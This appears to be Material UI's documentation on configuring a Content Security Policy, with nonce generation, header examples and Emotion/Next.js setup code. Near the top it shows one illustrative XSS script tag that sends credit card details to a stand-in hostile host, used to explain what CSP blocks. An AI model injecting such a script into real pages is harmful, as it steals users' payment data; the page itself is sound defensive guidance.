UNPKG

@mui/material

Version:

Material UI is an open-source React component library that implements Google's Material Design. It's comprehensive and can be used in production out of the box.

213 lines (158 loc) • 7.36 kB
# Content Security Policy (CSP) This section covers the details of setting up a CSP. ## What is CSP and why is it useful? CSP mitigates cross-site scripting (XSS) attacks by requiring developers to whitelist the sources their assets are retrieved from. This list is returned as a header from the server. For instance, say you have a site hosted at `https://example.com` the CSP header `default-src: 'self';` will allow all assets that are located at `https://example.com/*` and deny all others. If there is a section of your website that is vulnerable to XSS where unescaped user input is displayed, an attacker could input something like: ```html <script> sendCreditCardDetails('https://hostile.example'); </script> ``` This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script. You can read more about CSP on the [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP). :::info CSP is optional. Material UI works without any CSP configuration. If your project doesn't require CSP, you can skip this guide entirely. ::: ## Static websites If you host your site statically (for example, S3 or any CDN-only setup), you cannot use nonces because there is no server to generate a unique value per request. In that case, `'unsafe-inline'` is the only option: ```text Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline'; ``` ## Server-Side Rendering (SSR) With a server, you can generate a unique nonce per request for tighter security. Material UI requires the following CSP directives: - **`style-src-elem 'nonce-<base64>'`** — Material UI uses [Emotion](https://emotion.sh/) to inject `<style>` tags. Each tag needs a matching nonce. - **`style-src-attr 'unsafe-inline'`** — Some components apply inline `style` attributes for dynamic values (CSS custom properties, dimensions, positioning). - **`script-src 'nonce-<base64>'`** — Only needed if you use `InitColorSchemeScript`, which renders an inline `<script>`. A complete CSP header might look like this: ```text Content-Security-Policy: default-src 'self'; style-src-elem 'self' 'nonce-<base64>'; style-src-attr 'unsafe-inline'; script-src 'self' 'nonce-<base64>'; ``` :::info Some security scanners flag `style-src-attr 'unsafe-inline'` as a vulnerability. Inline styles can in theory be used to [exfiltrate data through CSS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/style-src#unsafe_inline_styles), but this only works if an attacker can already inject markup into your page. That injection can come from unescaped user input, a malicious or compromised third-party script, or a vulnerable dependency. On its own, `style-src-attr 'unsafe-inline'` doesn't open a new attack vector; it only reduces one layer of defense when such an injection already exists. To prevent that, sanitize user input and only load third-party scripts you trust. ::: ### Setting up the nonce A nonce is a randomly generated string that is only used once. You need to add server middleware to generate a new one on each request. A CSP nonce is a Base 64 encoded string. You can generate one like this: ```js import crypto from 'node:crypto'; const nonce = crypto.randomBytes(16).toString('base64'); // 128 bits of entropy ``` This generates a value that satisfies the [W3C CSP specification](https://w3c.github.io/webappsec-csp/#security-nonces) guidelines. You then apply this nonce to the CSP header: ```js header('Content-Security-Policy').set( `default-src 'self'; style-src-elem 'self' 'nonce-${nonce}'; style-src-attr 'unsafe-inline'; script-src 'self' 'nonce-${nonce}';`, ); ``` You should pass the nonce in the `<style>` tags on the server. ```jsx <style data-emotion={`${style.key} ${style.ids.join(' ')}`} nonce={nonce} dangerouslySetInnerHTML={{ __html: style.css }} /> ``` Then, you must pass this nonce to Emotion's cache so it can add it to subsequent `<style>`. :::warning If you were using `StyledEngineProvider` with `injectFirst`, you will need to replace it with `CacheProvider` from Emotion and add the `prepend: true` option. ::: ```js const cache = createCache({ key: 'my-prefix-key', nonce: nonce, prepend: true, }); function App(props) { return ( <CacheProvider value={cache}> <Home /> </CacheProvider> ); } ``` ### Vite When deploying a CSP using Vite, there are specific configurations you must set up due to Vite's internal handling of assets and modules. See [Vite Features—Content Security Policy](https://vite.dev/guide/features.html#content-security-policy-csp) for complete details. ### Next.js Pages Router For the Next.js Pages Router, after [setting up a nonce](https://nextjs.org/docs/app/guides/content-security-policy#nonces), pass it to the Emotion cache in two places: 1. In `_document.tsx`: ```tsx import { DocumentHeadTags, documentGetInitialProps, createEmotionCache, } from '@mui/material-nextjs/v15-pagesRouter'; // other imports type Props = DocumentInitialProps & DocumentHeadTagsProps & { nonce?: string }; export default function MyDocument(props: Props) { const { nonce } = props; return ( <Html lang="en" className={roboto.className}> <Head> {/*...*/} <meta name="csp-nonce" content={nonce} /> <DocumentHeadTags {...props} nonce={nonce} /> </Head> <body> {/*...*/} <NextScript nonce={nonce} /> </body> </Html> ); } MyDocument.getInitialProps = async (ctx: DocumentContext) => { const { req } = ctx; const nonce = req?.headers['x-nonce']; if (typeof nonce !== 'string') { throw new Error('"nonce" header is missing'); } const emotionCache = createEmotionCache({ nonce }); const finalProps = await documentGetInitialProps(ctx, { emotionCache, }); return { ...finalProps, nonce }; }; ``` 2. In `_app.tsx` (if you're setting up the `AppCacheProvider`): ```tsx import { createEmotionCache } from '@mui/material-nextjs/v15-pagesRouter'; // other imports export default function MyApp(props: AppProps & { nonce: string }) { const { Component, pageProps, nonce } = props; const emotionCache = useMemo(() => { const nonce = props.nonce || getNonce(); return createEmotionCache({ nonce }); }, [props.nonce]); return ( <AppCacheProvider {...props} emotionCache={emotionCache}> {/* ... */} </AppCacheProvider> ); } function getNonce(headers?: Record<string, string | string[] | undefined>) { if (headers) { return headers['x-nonce'] as string; } if (typeof document !== 'undefined') { const nonceMeta = document.querySelector('meta[name="csp-nonce"]'); if (nonceMeta) { return nonceMeta.getAttribute('content') || undefined; } } return undefined; } MyApp.getInitialProps = async (appContext: AppContext) => { const nonce = getNonce(appContext.ctx?.req?.headers); if (typeof nonce !== 'string') { throw new Error('"nonce" header is missing'); } return { ...otherProps, nonce }; }; ``` ### styled-components The configuration of the nonce is not straightforward, but you can follow [this issue](https://github.com/styled-components/styled-components/issues/2363) for more insights.